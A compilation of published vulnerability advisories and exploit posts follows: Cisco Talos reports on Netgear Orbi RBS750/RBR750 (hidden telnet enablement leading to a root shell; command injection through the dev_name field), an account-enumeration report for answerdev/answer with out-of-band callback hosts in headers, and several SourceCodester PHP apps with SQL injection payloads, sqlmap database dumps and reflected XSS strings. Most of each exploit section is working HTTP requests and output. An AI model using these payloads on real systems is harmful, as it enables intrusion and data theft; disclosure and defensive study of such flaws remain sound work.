A command execution vulnerability exists in the ubus backend communications functionality of Netgear Orbi Satellite RBS750 4.6.8.5. A specially-crafted JSON object can lead to arbitrary command execution. An attacker can send a sequence of malicious packets to trigger this vulnerability.

**SUMMARY**

A command execution vulnerability exists in the ubus backend communications functionality of Netgear Orbi Satellite RBS750 4.6.8.5. A specially-crafted JSON object can lead to arbitrary command execution. An attacker can send a sequence of malicious packets to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Netgear Orbi Satellite RBS750 4.6.8.5

**PRODUCT URLS**

Orbi Satellite RBS750 - https://www.netgear.com/support/product/RBS750

**CVSSv3 SCORE**

7.2 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-912 - Hidden Functionality

**DETAILS**

The Orbi Mesh Wi-Fi System creates dedicated high-speed Wi-Fi connections to your Internet service. The Orbi router (model RBR750) connects to your modem or gateway. The Orbi satellite (model RBS750) extends the Wi-Fi signal throughout your home.

Interprocess communications between the router and satellite are often handled using the OpenWRT ubus library. While this is normal, there is a hidden functionality built into the satellite device that allows an attacker with knowlege of the web GUI password (or knowledge of the default password if this was unchanged), to enable and subsequently log into a hidden telnet service.

The initial step in triggering this vulnerability is to get a session using the SHA256 sum of the password with the username ‘admin’:

    POST /ubus HTTP/1.1
    Host: 10.0.0.4
    Content-Length: 217
    Accept: application/json
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
    Content-Type: application/json
    Origin: http://10.0.0.4
    Referer: http://10.0.0.4/
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Connection: close
    
    {"method":"call","params":["00000000000000000000000000000000","session","login",{"username":"admin","password":"<SHA256 hash of password>","timeout":900}],"jsonrpc":"2.0","id":3}
    

This will return a ‘ubus\_rpc\_session’ token needed to start the hidden telnet service:

    HTTP/1.1 200 OK
    Content-Type: application/json
    Content-Length: 829
    Connection: close
    Date: Mon, 11 Jul 2022 19:27:03 GMT
    Server: lighttpd/1.4.45
    
    {"jsonrpc":"2.0","id":3,"result":[0,{"ubus_rpc_session":"e6c28cc8358cb9182daa29e01782df67","timeout":900,"expires":899,"acls":{"access-group":{"netgear":["read","write"],"unauthenticated":["read"]},"ubus":{"netgear.get":["pot_details","satellite_status","connected_device","get_language"],"netgear.log":["ntgrlog_status","log_boot_status","telnet_status","packet_capture_status","firmware_version","hop_count","cpu_load","ntgrlog_start","ntgrlog_stop","log_boot_enable","log_boot_disable","telnet_enable","telnet_disable","packet_capture_start","packet_capture_stop"],"netgear.set":["set_language"],"netgear.upgrade":["upgrade_status","upgrade_version","upgrade_start"],"session":["access","destroy","get","login"],"system":["info"],"uci":["*"]},"webui-io":{"download":["read"],"upload":["write"]}},"data":{"username":"admin"}}]}
    

Once this token is retrieved we simply need to add a parameter called ‘telnet\_enable’ to start the service:

    POST /ubus HTTP/1.1
    Host: 10.0.0.4
    Content-Length: 138
    Accept: application/json
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
    Content-Type: application/json
    Origin: http://10.0.0.4
    Referer: http://10.0.0.4/status.html
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Connection: close
    
    {"method":"call","params":["e6c28cc8358cb9182daa29e01782df67","netgear.log","telnet_enable","log_boot_enable",{}],"jsonrpc":"2.0","id":13}
    

**Exploit Proof of Concept**

Using the same password used earlier to generate the SHA256 hash with the username ‘admin’ will allow an attacker to log into the service:

    $ telnet 10.0.0.4
    Trying 10.0.0.4...
    Connected to 10.0.0.4.
    Escape character is '^]'.
    
    login: admin
    Password: === IMPORTANT ============================
     Use 'passwd' to set your login password
     this will disable telnet and enable SSH
    ------------------------------------------
    
    
    BusyBox v1.30.1 () built-in shell (ash)
    
         MM           NM                    MMMMMMM          M       M
       $MMMMM        MMMMM                MMMMMMMMMMM      MMM     MMM
      MMMMMMMM     MM MMMMM.              MMMMM:MMMMMM:   MMMM   MMMMM
    MMMM= MMMMMM  MMM   MMMM       MMMMM   MMMM  MMMMMM   MMMM  MMMMM'
    MMMM=  MMMMM MMMM    MM       MMMMM    MMMM    MMMM   MMMMNMMMMM
    MMMM=   MMMM  MMMMM          MMMMM     MMMM    MMMM   MMMMMMMM
    MMMM=   MMMM   MMMMMM       MMMMM      MMMM    MMMM   MMMMMMMMM
    MMMM=   MMMM     MMMMM,    NMMMMMMMM   MMMM    MMMM   MMMMMMMMMMM
    MMMM=   MMMM      MMMMMM   MMMMMMMM    MMMM    MMMM   MMMM  MMMMMM
    MMMM=   MMMM   MM    MMMM    MMMM      MMMM    MMMM   MMMM    MMMM
    MMMM$ ,MMMMM  MMMMM  MMMM    MMM       MMMM   MMMMM   MMMM    MMMM
      MMMMMMM:      MMMMMMM     M         MMMMMMMMMMMM  MMMMMMM MMMMMMM
        MMMMMM       MMMMN     M           MMMMMMMMM      MMMM    MMMM
         MMMM          M                    MMMMMMM        M       M
           M
     ---------------------------------------------------------------
       For those about to rock... (Chaos Calmer, rtm-4.6.8.5+r49254)
     ---------------------------------------------------------------
    root@RBS750:/# 
    

**TIMELINE**

2022-08-30 - Initial Vendor Contact  
2022-09-05 - Vendor Disclosure  
2023-01-19 - Vendor Patch Release  
2023-03-21 - Public Release

Discovered by Dave McDaniel of Cisco Talos.

CVE-2022-36429: TALOS-2022-1597 || Cisco Talos Intelligence Group

A command execution vulnerability exists in the access control functionality of Netgear Orbi Router RBR750 4.6.8.5. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

**SUMMARY**

A command execution vulnerability exists in the access control functionality of Netgear Orbi Router RBR750 4.6.8.5. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Netgear Orbi Router RBR750 4.6.8.5

**PRODUCT URLS**

Orbi Router RBR750 - https://www.netgear.com/support/product/RBR750

**CVSSv3 SCORE**

9.1 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

**CWE**

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

**DETAILS**

The Orbi Mesh Wi-Fi System creates dedicated high-speed Wi-Fi connections to your Internet service. The Orbi router (model RBR750) connects to your modem or gateway. The Orbi satellite (model RBS750) extends the Wi-Fi signal throughout your home.

The access control functionality of the Orbi RBR750 allows a user to explicitly add devices (specified by MAC address and a hostname) to allow or block the specfied device when attempting to access the network. However, the dev_name parameter is vulnerable to command injection.

**Exploit Proof of Concept**

    POST /access_control_add.cgi?id=e7bbf8edbf4393c063a616d78bd04dfac332ca652029be9095c4b5b77f6203c1 HTTP/1.1
    Host: 10.0.0.1
    Content-Length: 104
    Authorization: Basic YWRtaW46UGFzc3cwcmQ=
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Cookie: yummy_magical_cookie=/; XSRF_TOKEN=2516336866
    Connection: close
    
    action=Apply&mac_addr=aabbccddeeaa&dev_name=test;ping${IFS}10.0.0.4&access_control_add_type=blocked_list
    

On the device itself, we can see this command now being executed.

       root@RBR750:/tmp# ps | grep ping
       21763 root      1336 S    ping 10.0.0.4
    

**TIMELINE**

2022-08-30 - Initial Vendor Contact  
2022-09-05 - Vendor Disclosure  
2023-01-19 - Vendor Patch Release  
2023-03-21 - Public Release

Discovered by Dave McDaniel of Cisco Talos.

CVE-2022-37337: TALOS-2022-1596 || Cisco Talos Intelligence Group

Observable Response Discrepancy in GitHub repository answerdev/answer prior to 1.0.6.

**Description**

The password reset functionality leaks information pertaining to use accounts. Where an invalid account is utilized, the application responds that the account could not be found. Where an account is valid, the application responds with a reason "base.success" (when intercepted), or that if an account with that name is identified it will receive an email (browser response).

**Proof of Concept**

    POST /answer/api/v1/user/password/reset HTTP/1.1
    Host: 192.168.1.66:9080
    Content-Length: 90
    Accept-Language: en_US
    Authorization: 
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 root@qmg10q7skchmypqtyu1x6l92styvxslh.oastify.com
    Content-Type: application/json
    Accept: */*
    Origin: http://192.168.1.66:9080
    Referer: http://egypue1ge0basdkhsivl093qmhsjref3.oastify.com/ref
    Accept-Encoding: gzip, deflate
    Connection: close
    Cache-Control: no-transform
    
    {"e_mail":"testemail@email.com","captcha_code":"4a2u","captcha_id":"EmC1gF0NkgvUvCdHAu7z"}
    

**Impact**

An attacker can identify valid user email accounts which permits the attacker to increase the application's attack surface.

**Occurrences**

CVE-2023-1540: Observable Response Discrepancy in Password Reset Functionality in answer

101+ News Portal version 1.0 suffers from a remote blind SQL injection vulnerability.

    # Exploit Title: 101+ News Portal - SQLi# Date: 19/03/2023# Exploit Author: Abdulhakim Öner# Vendor Homepage: https://www.sourcecodester.com# Software Link: https://www.sourcecodester.com/php/16067/best-online-news-portal-project-php-free-download.html# Software Download: https://www.sourcecodester.com/sites/default/files/download/mayuri_k/101news_0.zip# Version: 1.0# Tested on: Windows, Linux## Description A Blind SQL injection vulnerability in the page (/101news/search.php) in 101+ News Portal allows remote unauthenticated attackers to execute remote arbitrary SQL commands through "searchtitle" parameter. ## Request PoC```POST /101news/search.php HTTP/1.1Host: 192.168.1.101Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36Connection: closeCache-Control: max-age=0Referer: http://192.168.1.101/101news/Content-Type: application/x-www-form-urlencodedContent-Length: 59Cookie: PHPSESSID=o5fslt60dlojncb7jnft04lps9searchtitle=232943'```This request causes an error. Adding "'%2b(select*from(select(sleep(20)))a)%2b'" to the end of "searchtitle" parameter, the response to request was 200 status code with message of OK, but 20 seconds later, which indicates that our sleep 20 command works. ```POST /101news/search.php HTTP/1.1Host: 192.168.1.101Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36Connection: closeCache-Control: max-age=0Referer: http://192.168.1.101/101news/Content-Type: application/x-www-form-urlencodedContent-Length: 59Cookie: PHPSESSID=o5fslt60dlojncb7jnft04lps9searchtitle=232943'%2b(select*from(select(sleep(20)))a)%2b'```## Exploit with sqlmapSave the request from burp to file ```┌──(root㉿caesar)-[/home/kali/Workstation/multi]└─# sqlmap -r sqli.txt -p 'searchtitle' --batch --dbs --level=3 --risk=2                                           ---snip---POST parameter 'searchtitle' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Nsqlmap identified the following injection point(s) with a total of 114 HTTP(s) requests:---Parameter: searchtitle (POST)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)    Payload: searchtitle=232943' AND 3793=(SELECT (CASE WHEN (3793=3793) THEN 3793 ELSE (SELECT 6168 UNION SELECT 2808) END))-- KdPX    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: searchtitle=232943' AND (SELECT 1460 FROM (SELECT(SLEEP(5)))dqHc)-- zMGY    Type: UNION query    Title: Generic UNION query (NULL) - 8 columns    Payload: searchtitle=232943' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7162787071,0x457444695056617478516b4b4f666e73744162466478444e5061624161514f78726c727777764c6b,0x716a6b6271)-- ----[18:01:02] [INFO] the back-end DBMS is MySQLweb application technology: PHP 8.2.0, Apache 2.4.54back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)[18:01:02] [INFO] fetching database namesavailable databases [5]:[*] information_schema[*] mysql[*] newsportal[*] performance_schema[*] phpmyadmin---snip---```

101+ News Portal 1.0 SQL Injection

Music Gallery Site version 1.0 suffers from a cross site scripting vulnerability.

    # Exploit Title: Music Gallery Site - Cross Site Scripting Vulnerability (Authenticated)# Date: 19/03/2023# Exploit Author: Abdulhakim Öner# Vendor Homepage: https://www.sourcecodester.com# Software Link: https://www.sourcecodester.com/php/16073/music-gallery-site-using-php-and-mysql-database-free-source-code.html# Software Download: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-music.zip# Version: 1.0# Tested on: Windows, Linux## Description A reflected Cross Site Scripting vulnerability in the "page" parameter in Online Pizza Ordering System allows remote authenticated users to execute JavaScript code. ## Request PoC```GET /php-music/admin/?page=musics63401'%3balert(1)%2f%2f399 HTTP/1.1Host: 192.168.1.101Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36Connection: closeCache-Control: max-age=0Referer: http://192.168.1.101/php-music/admin/Cookie: PHPSESSID=05o776i4lcn4nm1h48he29gd9b```

Music Gallery Site 1.0 Cross Site Scripting

Medicine Tracker System version 1.0 suffers from a cross site scripting vulnerability.

    # Exploit Title: Medicine Tracker System - Cross Site Scripting Vulnerability# Date: 19/03/2023# Exploit Author: Abdulhakim Öner# Vendor Homepage: https://www.sourcecodester.com# Software Link: https://www.sourcecodester.com/php/16308/medicine-tracker-system-php-oop-and-mysql-db-source-code-free-download.html# Software Download: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-mts_0.zip# Version: 1.0# Tested on: Windows, Linux## Description A reflected Cross Site Scripting vulnerability in the "page" parameter in Medicine Tracker System allows to execute JavaScript code. ## Request PoC```GET /php-mts/?page=about%3cscript%3ealert(1)%3c%2fscript%3e HTTP/1.1Host: 192.168.1.101Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36Connection: closeCache-Control: max-age=0Referer: http://192.168.1.101/php-mts/Cookie: PHPSESSID=9gruivatbrq61qio77q3p7j77a```

Medicine Tracker System 1.0 Cross Site Scripting

Yoga Class Registration System version 1.0 suffers from a cross site scripting vulnerability.

    # Exploit Title: Yoga Class Registration System - Cross Site Scripting Vulnerability (Authenticated)# Date: 19/03/2023# Exploit Author: Abdulhakim Öner# Vendor Homepage: https://www.sourcecodester.com# Software Link: https://www.sourcecodester.com/php/16097/yoga-class-registration-system-php-and-mysql-free-source-code.html# Software Download: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-ycrs.zip# Version: 1.0# Tested on: Windows, Linux## Description A reflected Cross Site Scripting vulnerability in the "page" parameter in Online Pizza Ordering System allows remote authenticated users to execute JavaScript code. ## Request PoC```GET /php-ycrs/admin/?page=classes%2fmanage_class58913'%3balert(1)%2f%2f575&id=2 HTTP/1.1Host: 192.168.1.101Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36Connection: closeCache-Control: max-age=0Referer: http://192.168.1.101/php-ycrs/admin/?page=classesCookie: PHPSESSID=intlfrkii1gsh9pjgeoo0dhu3b```

Yoga Class Registration System 1.0 Cross Site Scripting

Online Pizza Ordering System version 1.0 suffers from a remote SQL injection vulnerability.

    # Exploit Title: Online Pizza Ordering System 1.0 - "id" SQLi# Date: 19/03/2023# Exploit Author: Abdulhakim Öner# Vendor Homepage: https://www.sourcecodester.com# Software Link: https://www.sourcecodester.com/php/16166/online-pizza-ordering-system-php-free-source-code.html# Software Download: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-opos.zip# Version: 1.0# Tested on: Windows, Linux## Description A Blind SQL injection vulnerability in the (/php-opos/index.php) page in Online Pizza Ordering System allows remote unauthenticated attackers to dump database through arbitrary SQL commands by "id" parameter. ## Request PoC```GET /php-opos/index.php?page=category&id=1' HTTP/1.1Host: 192.168.1.101Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36Connection: closeCache-Control: max-age=0Referer: http://192.168.1.101/php-opos/Cookie: PHPSESSID=o1tk08lff329ovpl5mt24tkg20```This request causes a Fatal Error in the webapp. Adding "'%2b(select*from(select(sleep(20)))a)%2b'" to the end of "id" parameter, the response to request was 200 status code with message of OK, but 20 seconds later, which indicates that our sleep 20 command works. ```GET /php-opos/index.php?page=category&id=1'%2b(select*from(select(sleep(10)))a)%2b' HTTP/1.1Host: 192.168.1.101Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36Connection: closeCache-Control: max-age=0Referer: http://192.168.1.101/php-opos/Cookie: PHPSESSID=o1tk08lff329ovpl5mt24tkg20```## Exploit with sqlmapSave the request from burp to file ```┌──(root㉿caesar)-[/home/kali/Workstation/php-opos]└─# sqlmap -r sql.txt -p 'id' --batch --dbs --level=3 --risk=2---snip---[13:20:45] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectableGET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Nsqlmap identified the following injection point(s) with a total of 52 HTTP(s) requests:---Parameter: id (GET)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: page=category&id=1' AND 9957=9957-- dMoW    Type: error-based    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)    Payload: page=category&id=1' AND (SELECT 9683 FROM(SELECT COUNT(*),CONCAT(0x717a6b7071,(SELECT (ELT(9683=9683,1))),0x716a6b7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- JUhz    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: page=category&id=1' AND (SELECT 1462 FROM (SELECT(SLEEP(5)))HRjs)-- mEaq    Type: UNION query    Title: Generic UNION query (NULL) - 2 columns    Payload: page=category&id=-1987' UNION ALL SELECT NULL,CONCAT(0x717a6b7071,0x79716851566b7072685458534e4c6f7a75784f50614266454c7746646347794d565a43634b684958,0x716a6b7071)-- ----[13:20:45] [INFO] the back-end DBMS is MySQLweb application technology: Apache 2.4.54, PHP 8.2.0back-end DBMS: MySQL >= 5.0 (MariaDB fork)[13:20:45] [INFO] fetching database names[13:20:45] [INFO] retrieved: 'information_schema'[13:20:46] [INFO] retrieved: 'mysql'[13:20:46] [INFO] retrieved: 'opos_db'[13:20:46] [INFO] retrieved: 'performance_schema'[13:20:46] [INFO] retrieved: 'phpmyadmin'----snip----```

Online Pizza Ordering System 1.0 SQL Injection

Human Resources Management System version 1.0 suffers from a remote SQL injection vulnerability.

    # Exploit Title: Human Resources Management System - HRM - Multiple SQLi# Date: 16/03/2023# Exploit Author: Abdulhakim Öner# Vendor Homepage: https://www.sourcecodester.com# Software Link: https://www.sourcecodester.com/php/15740/human-resource-management-system-project-php-and-mysql-free-source-code.html# Software Download: https://www.sourcecodester.com/sites/default/files/download/oretnom23/hrm.zip# Version: 1.0# Tested on: Windows## Description A Blind SQL injection vulnerability in the login page (/hrm/controller/login.php) in Human Resources Management System allows remote unauthenticated attackers to execute remote command through arbitrary SQL commands by "name" parameter. ## Request PoC```POST /hrm/controller/login.php HTTP/1.1Host: 192.168.1.103Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36Connection: closeCache-Control: max-age=0Referer: http://192.168.1.103/hrm/Content-Type: application/x-www-form-urlencodedContent-Length: 73name=test@testdomain.com'&password=test&submit=Sign+In```This request causes an error. Adding "'%2b(select*from(select(sleep(20)))a)%2b'" to the end of "name" parameter, the response to request was 302 status code with message of Found, but 20 seconds later, which indicates that our sleep 20 command works. ```POST /hrm/controller/login.php HTTP/1.1Host: 192.168.1.103Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36Connection: closeCache-Control: max-age=0Referer: http://192.168.1.103/hrm/Content-Type: application/x-www-form-urlencodedContent-Length: 114name=test@testdomain.com'%2b(select*from(select(sleep(20)))a)%2b'&password=test&submit=Sign+In```## Exploit with sqlmapSave the request from burp to file ```┌──(root㉿caesar)-[/home/kali/Workstation/hrm]└─# sqlmap -r sqli.txt -p 'name' --batch --dbs --level=3 --risk=2---snip----[15:49:36] [INFO] testing 'MySQL UNION query (89) - 81 to 100 columns'POST parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Nsqlmap identified the following injection point(s) with a total of 838 HTTP(s) requests:---Parameter: name (POST)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)    Payload: name=test@testdomain.com' AND 3287=(SELECT (CASE WHEN (3287=3287) THEN 3287 ELSE (SELECT 8737 UNION SELECT 2671) END))-- -&password=a5P!s3v!K8&submit=Sign In    Type: error-based    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)    Payload: name=test@testdomain.com' OR (SELECT 6958 FROM(SELECT COUNT(*),CONCAT(0x717a766b71,(SELECT (ELT(6958=6958,1))),0x716b786271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VHwA&password=a5P!s3v!K8&submit=Sign In    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: name=test@testdomain.com' AND (SELECT 1760 FROM (SELECT(SLEEP(5)))LTmV)-- fhJt&password=a5P!s3v!K8&submit=Sign In---[15:49:36] [INFO] the back-end DBMS is MySQLweb application technology: PHP 8.2.0, Apache 2.4.54, PHP----snip----```## The "password" parameter in the POST request is also vulnerable. It can be exploited in the same way.

Human Resources Management System 1.0 SQL Injection

A vulnerability classified as critical was found in SourceCodester Automatic Question Paper Generator System 1.0. This vulnerability affects unknown code of the file users/question_papers/manage_question_paper.php of the component GET Parameter Handler. The manipulation of the argument id leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-223336.

BUG\_Author:0019FF

Vulnerability File: /aqpg/users/question\_papers/manage\_question\_paper.php

GET parameter 'id' exists SQL injection vulnerability

Payload1:id=1' and 999=999 and 'o'='o

    GET /aqpg/users/question_papers/manage_question_paper.php?id=1%27%20and%20999=999%20and%20%27o%27=%27o HTTP/1.1
    Host: localhost
    sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: none
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
    Cookie: PHPSESSID=gqm4opdrfvm9njhrtmcivvn20b
    Connection: close
    

The sql statement is executed correctly

Payload2:id=1' and 999=996 and 'o'='p

    GET /aqpg/users/question_papers/manage_question_paper.php?id=1%27%20and%20999=996%20and%20%27o%27=%27p HTTP/1.1
    Host: localhost
    sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: none
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
    Cookie: PHPSESSID=gqm4opdrfvm9njhrtmcivvn20b
    Connection: close
    

The sql statement was executed incorrectly, causing the page not to be echoed normally

Payload3:id=1' and (select 9 from (select(sleep(15)))b) and 't'='t

    GET /aqpg/users/question_papers/manage_question_paper.php?id=1%27%20and%20(select%209%20from%20(select(sleep(15)))b)%20and%20%27t%27=%27t HTTP/1.1
    Host: localhost
    sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: none
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
    Cookie: PHPSESSID=gqm4opdrfvm9njhrtmcivvn20b
    Connection: close
    

The server response time is 15 seconds

Tag

#webkit